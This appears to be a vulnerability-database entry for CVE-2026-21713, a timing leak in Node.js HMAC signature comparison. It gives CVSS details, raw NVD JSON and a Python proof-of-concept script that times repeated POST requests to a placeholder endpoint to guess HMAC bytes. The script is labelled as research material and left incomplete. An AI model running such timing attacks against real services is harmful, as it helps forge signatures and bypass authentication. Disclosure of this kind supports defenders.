Security Vulnerability Report
中文
CVE-2026-21713 CVSS 5.9 MEDIUM

CVE-2026-21713

Published: 2026-03-30 20:16:19
Last Modified: 2026-05-10 14:16:48

Description

A flaw in Node.js HMAC verification uses a non-constant-time comparison when validating user-provided signatures, potentially leaking timing information proportional to the number of matching bytes. Under certain threat models where high-resolution timing measurements are possible, this behavior could be exploited as a timing oracle to infer HMAC values. Node.js already provides timing-safe comparison primitives used elsewhere in the codebase, indicating this is an oversight rather than an intentional design decision. This vulnerability affects **20.x, 22.x, 24.x, and 25.x**.

CVSS Details

CVSS Score
5.9
Severity
MEDIUM
CVSS Vector
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Node.js 20.x
Node.js 22.x
Node.js 24.x
Node.js 25.x

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time import sys # PoC for Timing Attack Analysis on CVE-2026-21713 # This script demonstrates how to measure timing differences to infer HMAC bytes. # Note: This requires a vulnerable endpoint and a stable network connection. TARGET_URL = "http://vulnerable-node-app/api/verify" SIGNATURE_PARAM = "signature" VALID_PAYLOAD = "data=test" # Send request and measure high-precision timing def measure_response_time(signature): start_time = time.perf_counter() try: requests.post(TARGET_URL, data={ "data": VALID_PAYLOAD, SIGNATURE_PARAM: signature }, timeout=5) except requests.RequestException: pass end_time = time.perf_counter() return (end_time - start_time) * 1000 # Return in milliseconds # Statistical analysis to reduce noise def get_average_time(signature, iterations=20): times = [] for _ in range(iterations): times.append(measure_response_time(signature)) return sum(times) / len(times) if __name__ == "__main__": # Concept: Loop through possible bytes and check which one takes longer # This is a simplified logic for demonstration print("[+] Starting timing analysis...") # Example: Guessing the first byte base_signature_guess = "00" for i in range(256): test_byte = f"{i:02x}" # Construct a test payload (assuming 32 byte HMAC) test_sig = test_byte + "0" * 62 avg_time = get_average_time(test_sig) print(f"Byte {test_byte}: {avg_time:.4f} ms") # In a real attack, logic here would identify the outlier with max time

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-21713", "sourceIdentifier": "[email protected]", "published": "2026-03-30T20:16:19.397", "lastModified": "2026-05-10T14:16:47.507", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw in Node.js HMAC verification uses a non-constant-time comparison when validating user-provided signatures, potentially leaking timing information proportional to the number of matching bytes. Under certain threat models where high-resolution timing measurements are possible, this behavior could be exploited as a timing oracle to infer HMAC values.\r\n\r\nNode.js already provides timing-safe comparison primitives used elsewhere in the codebase, indicating this is an oversight rather than an intentional design decision.\r\n\r\nThis vulnerability affects **20.x, 22.x, 24.x, and 25.x**."}, {"lang": "es", "value": "Un fallo en la verificación HMAC de Node.js utiliza una comparación de tiempo no constante al validar firmas proporcionadas por el usuario, filtrando potencialmente información de temporización proporcional al número de bytes coincidentes. Bajo ciertos modelos de amenaza donde las mediciones de temporización de alta resolución son posibles, este comportamiento podría ser explotado como un oráculo de temporización para inferir valores HMAC.\n\nNode.js ya proporciona primitivas de comparación seguras contra ataques de temporización utilizadas en otras partes de la base de código, lo que indica que esto es un descuido en lugar de una decisión de diseño intencional.\n\nEsta vulnerabilidad afecta 20.x, 22.x, 24.x y 25.x."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-208"}]}], "references": [{"url": "https://nodejs.org/en/blog/vulnerability/march-2026-security-releases", "source": "[email protected]"}]}}